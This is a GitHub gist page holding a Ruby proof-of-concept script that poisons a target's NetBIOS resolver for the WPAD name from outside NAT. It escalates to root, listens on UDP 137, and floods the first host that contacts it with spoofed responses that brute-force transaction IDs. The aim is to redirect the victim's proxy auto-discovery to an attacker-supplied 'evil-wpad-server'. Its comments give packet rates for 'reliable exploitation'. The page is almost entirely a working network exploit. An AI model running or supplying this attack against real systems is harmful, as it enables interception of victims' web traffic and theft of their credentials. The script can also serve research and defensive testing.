Created
June 23, 2016 16:15
-
-
Save izogain/fd73e731ae2f105a1aa23f0ef22b4628 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# -*- coding: binary -*- | |
# | |
# Poison a system's NetBIOS resolver for the WPAD name from outside NAT (not BadTunnel) | |
# | |
# Usage: ruby netbios-brute-nat.rb <evil-wpad-server> <pps> | |
# Contact: x[at]hdm.io | |
# License: https://opensource.org/licenses/BSD-2-Clause | |
# | |
# This PoC will only attack the first system to ping it and the default | |
# packet rate (1000/pps) has a ~10% success rate. For fast links, increase | |
# the packet rate to 30,000 pps for reliable exploitation. | |
# For direct exploitation, see https://gist.github.com/hdm/8825b88f7c266b605c0973b1664898bf | |
# | |
require 'socket' | |
require 'ipaddr' | |
def get_root | |
if RUBY_PLATFORM.index("linux") && Process.euid != 0 | |
this_sudo = `which rvmsudo`.index("rvmsudo") ? "rvmsudo" : "sudo" | |
this_ruby = File.readlink("/proc/self/exe") | |
args = [this_sudo, this_ruby, __FILE__, *ARGV] | |
exec(*args) | |
end | |
end | |
def get_socket | |
udp = UDPSocket.new | |
udp.setsockopt(Socket::SOL_SOCKET, Socket::SO_BROADCAST, true) | |
udp.bind('0.0.0.0', 137) | |
udp | |
end | |
def usage | |
$stderr.puts "Usage: #{$0} [wpad-server-ip] <pps-rate>" | |
exit(1) | |
end | |
wpad_addr = IPAddr.new( ARGV[0] || usage() ) | |
targ_rate = ( ARGV[1] || 30_000 ).to_i | |
targ_port = nil | |
targ_addr = nil | |
get_root | |
loop do | |
sock = get_socket | |
$stdout.puts ["[*] Listening for NetBIOS requests...."] | |
while (r = sock.recvfrom(65535)) | |
next unless r | |
data, addr_info = r | |
targ_port = addr_info[1] | |
targ_addr = addr_info[3] | |
break | |
end | |
sock.connect(targ_addr, targ_port) | |
$stdout.puts("[*] >> NetBIOS request from #{targ_addr}:#{targ_port}...") | |
payload = ["FFFF85000000000100000000204648464145424545434143414341434143414341434143414341434143414141000020000100FFFFFF000600000FFFFFFFF"].pack("H*") | |
payload[58,4] = wpad_addr.hton | |
stime = Time.now.to_f | |
pcnt = 0 | |
pps = 0 | |
$stdout.puts("[*] >> Spamming WPAD responses to #{targ_addr}:#{targ_port} at #{targ_rate}/pps...") | |
live = true | |
while live | |
0.upto(65535) do |txid| | |
begin | |
payload[0,2] = [txid].pack("n") | |
sock.write(payload) | |
pcnt += 1 | |
pps = (pcnt / (Time.now.to_f - stime)).to_i | |
if pps > targ_rate | |
sleep(0.01) | |
end | |
rescue Errno::ECONNREFUSED | |
$stdout.puts "[*] >> Error: Target sent us an ICMP port unreachable, port is likely closed" | |
live = false | |
break | |
end | |
end | |
end | |
$stdout.puts("[*] >> Cleaning up...") | |
sock.close | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment